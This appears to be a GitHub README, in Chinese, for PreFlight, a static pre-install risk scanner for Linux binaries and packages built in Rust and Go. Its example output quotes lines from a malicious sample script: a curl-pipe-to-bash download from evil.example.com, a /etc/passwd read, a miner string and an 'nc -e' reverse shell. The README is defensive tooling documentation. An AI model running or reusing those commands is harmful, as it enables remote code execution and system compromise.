SepJs/preflight
GitHub: SepJs/preflight
PreFlight 是一款用 Rust 和 Go 构建的 Linux 二进制与软件包预安装静态风险扫描器,通过本地文件分析、规则匹配和熵计算在执行前评估文件风险等级。
Stars: 1 | Forks: 0
# PreFlight
PreFlight 告诉你**文件是什么**以及**运行它是否有风险**,它使用
本地静态分析:文件类型/ELF 内省、可疑指标规则、Shannon
熵(加壳/混淆检测)、SHA-256 哈希,以及通过配套服务进行的可选 VirusTotal
信誉查询。
它**不是**防病毒的替代品——它是一个快速、本地、注重隐私的分流
层。
## 快速开始
```
# 扫描文件(文本报告)
./preflight scan ./some-binary
# JSON 报告(非常适合 CI / 管道)
./preflight scan ./some-binary --json
# 交互式 TUI dashboard
./preflight tui ./some-binary
```
可选的在线信誉查询(Go 配套服务):
```
# 启动 reputation 服务(设置 VT_API_KEY 以启用 VirusTotal 查询)
VT_API_KEY=your_key ./preflight-rep
# 查询它
curl http://127.0.0.1:7777/health
curl http://127.0.0.1:7777/lookup/hash/
```
## 从源码构建
需要 Rust 工具链(`rustup`)和 Go 1.22+。
```
# Rust CLI/TUI
cargo build --release # → target/release/preflight
# Go reputation 服务
cd services/preflight-rep && go build -o ../../target/preflight-rep .
```
## 示例
扫描一个故意的恶意 shell 脚本:
```
$ preflight scan samples/malicious.sh
Path : samples/malicious.sh
Type : Script (#!/bin/bash)
Entropy : 4.8875 bits
SHA256 : 2c10734c39…
Verdict : HIGH RISK — do not run (risk score 145)
Findings (7):
[HIGH] DOWNLOAD_EXEC … curl -s http://evil.example.com/x.sh | bash
[HIGH] SENSITIVE_PATH … /etc/passwd
[HIGH] CRYPTOMINER … stratum+tcp
[HIGH] REVERSE_SHELL … nc -e
[MEDIUM] DOWNLOADER_TOOL … curl, wget
…
```
扫描一个无害的系统二进制文件:
```
$ preflight scan /bin/ls
Type : ELF binary
Arch : x86_64 (AMD64)
ELF type : Shared object / PIE (ET_DYN)
Verdict : LOW RISK (risk score 10)
```
## 工作原理
1. 读取目标最多 64 MiB 的内容。
2. 通过 magic bytes 识别类型(ELF / AppImage / `.deb` / zip / gzip / 脚本 / PE)。
3. 如果是 ELF,使用 `goblin` 解析架构、类型和入口点。
4. 提取可打印字符串,并将其与一组包含 11 条规则的指示器集进行匹配
(dropper、reverse shell、miner、敏感路径、持久化、混淆……)。
5. 计算 Shannon 熵(标记加壳/混淆二进制文件 > 7.5 比特)。
6. 生成 SHA-256 和加权风险评分 → 判定结果。
有关完整的功能列表、架构、数据流和
评分模型,请参阅 **[SPEC.md](SPEC.md)**。
## 项目布局
```
crates/preflight-cli/src/{main,analyzer,rules,tui}.rs # Rust core + CLI + TUI
services/preflight-rep/main.go # Go reputation service
```
## 许可证
MIT
标签:ELF文件, Go, LNA, Ruby工具, Rust, 云安全监控, 可视化界面, 日志审计, 网络安全审计, 网络流量审计, 通知系统, 静态分析